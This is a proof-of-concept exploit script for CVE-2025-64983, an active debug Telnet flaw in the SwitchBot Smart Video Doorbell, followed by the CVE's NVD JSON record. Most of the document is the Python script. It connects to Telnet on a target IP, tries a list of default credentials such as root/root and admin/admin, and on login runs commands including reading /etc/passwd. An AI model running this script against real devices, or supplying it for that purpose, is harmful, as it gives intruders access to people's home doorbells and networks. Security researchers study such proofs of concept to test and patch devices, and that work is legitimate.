CVE-2025-64983

#!/usr/bin/env python3 """ CVE-2025-64983 PoC - SwitchBot Smart Video Doorbell Debug Code Exploitation Discovered by: [email protected] CVSS: 8.0 (HIGH) """ import socket import sys import time def check_telnet_access(target_ip, port=23, timeout=10): """ Check if Telnet service is exposed on the target device. This is the initial step for exploiting CVE-2025-64983. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((target_ip, port)) sock.close() return result == 0 except Exception as e: print(f"[-] Error checking Telnet service: {e}") return False def exploit_debug_telnet(target_ip, port=23, timeout=10): """ Exploit the active debug code vulnerability (CVE-2025-64983). Attempts to connect to the device via Telnet and gain shell access. Note: This requires knowledge of debug credentials or default accounts. """ try: print(f"[*] Connecting to {target_ip}:{port} via Telnet...") # Connect to Telnet service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((target_ip, port)) # Read initial banner time.sleep(2) response = sock.recv(1024).decode('utf-8', errors='ignore') print(f"[+] Received banner:\n{response}") # Try common debug credentials debug_credentials = [ ("root", "root"), ("admin", "admin"), ("debug", "debug"), ("test", "test"), ("user", "user"), ("", "") # Empty credentials (no password) ] for username, password in debug_credentials: print(f"[*] Trying credentials: {username}/{password}") # Send username if username: sock.sendall(f"{username}\n".encode()) time.sleep(1) # Send password if password: sock.sendall(f"{password}\n".encode()) time.sleep(2) # Check for successful login response = sock.recv(2048).decode('utf-8', errors='ignore') if "#" in response or "$" in response or "root@" in response: print(f"[!] SUCCESS: Logged in with {username}/{password}") print(f"[+] Shell access obtained!") print(f"[+] Device Response:\n{response}") # Execute verification commands commands = ["uname -a", "cat /etc/passwd", "id", "ls -la /"] for cmd in commands: sock.sendall(f"{cmd}\n".encode()) time.sleep(1) resp = sock.recv(2048).decode('utf-8', errors='ignore') print(f"[CMD] {cmd}:\n{resp}") return True print("[-] Failed to authenticate with common credentials") sock.close() return False except socket.timeout: print("[-] Connection timed out") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-64983-poc.py <target_ip>") print("Example: python3 cve-2025-64983-poc.py 192.168.1.100") sys.exit(1) target_ip = sys.argv[1] print("=" * 60) print("CVE-2025-64983 PoC - SwitchBot Smart Video Doorbell") print("Active Debug Code Vulnerability") print("=" * 60) # Step 1: Check if Telnet is accessible print(f"\n[*] Step 1: Checking Telnet service on {target_ip}...") if check_telnet_access(target_ip): print("[+] Telnet service is exposed!") # Step 2: Attempt exploitation print("\n[*] Step 2: Attempting to exploit debug code vulnerability...") exploit_debug_telnet(target_ip) else: print("[-] Telnet service not accessible or device not vulnerable") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64983", "sourceIdentifier": "[email protected]", "published": "2025-11-26T05:16:18.783", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Smart Video Doorbell firmware versions prior to 2.01.078 contain an active debug code vulnerability that allows an attacker to connect via Telnet and gain access to the device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-489"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN67185535", "source": "[email protected]"}, {"url": "https://www.switch-bot.com/products/switchbot-video-doorbell?srsltid=AfmBOooGEZArqUag9p59qB8ti2fDP0vCOzxX33NGlpJ8yDlZnzC3vJ_f", "source": "[email protected]"}]}}